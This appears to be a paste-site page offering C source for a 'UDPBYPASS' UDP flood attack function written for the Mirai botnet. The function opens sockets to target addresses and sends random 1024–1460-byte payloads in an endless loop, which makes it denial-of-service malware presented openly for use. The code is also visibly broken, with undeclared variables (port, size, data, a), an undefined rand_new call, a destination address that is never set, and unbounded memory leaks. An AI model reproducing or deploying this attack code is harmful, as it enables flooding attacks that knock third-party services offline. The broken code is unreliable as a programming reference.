KhaosBringer icon

UDPBYPASS mirai

KhaosBringer | PRO | 10/29/20 11:20:47 AM UTC | 0 ⭐ | 2451 👁️ | Never ⏰ | []
C |

1.78 KB

|

None

|

0 👍

/

0 👎

void attack_method_udpbypass(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
    int i;
    char **pkts = calloc(targs_len, sizeof (char *));
    int *fds = calloc(targs_len, sizeof (int));
    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
    uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 4096);
    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
    struct sockaddr_in bind_addr = {0};
    if (sport == 0xffff)
    {
        sport = rand_next();
    } else {
        sport = htons(sport);
    }
    for (i = 0; i < targs_len; i++)
    {
        struct sockaddr_in bind_addr;
        struct sockaddr_in addr;
 
        fds[i] = socket(AF_INET, SOCK_DGRAM, 0);
        if (fds[i] == -1)
        {
            exit(1);
        }
 
        bind_addr.sin_family = AF_INET;
        bind_addr.sin_port = rand_new();
        bind_addr.sin_addr.s_addr = 0;
 
        bind(fds[i], (struct sockaddr *)&bind_addr, sizeof(bind_addr));
 
        addr.sin_family = AF_INET;
        addr.sin_port = htons(port);
        targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
 
        connect(fds[i], (struct sockaddr *)&addr, sizeof(addr));
    }
    while (TRUE)
    {
        for (i = 0; i < targs_len; i++)
        {
            size = 1024 + rand() % (1460 - 1024);
            data = (char *)malloc(size);
            for (a = 0; a < size; a++) 
            {
                data[a] = (char)(rand() & 0xFFFF);
            }   
 
            send(fds[i], data, size, MSG_NOSIGNAL);
        }
    }
}

Comments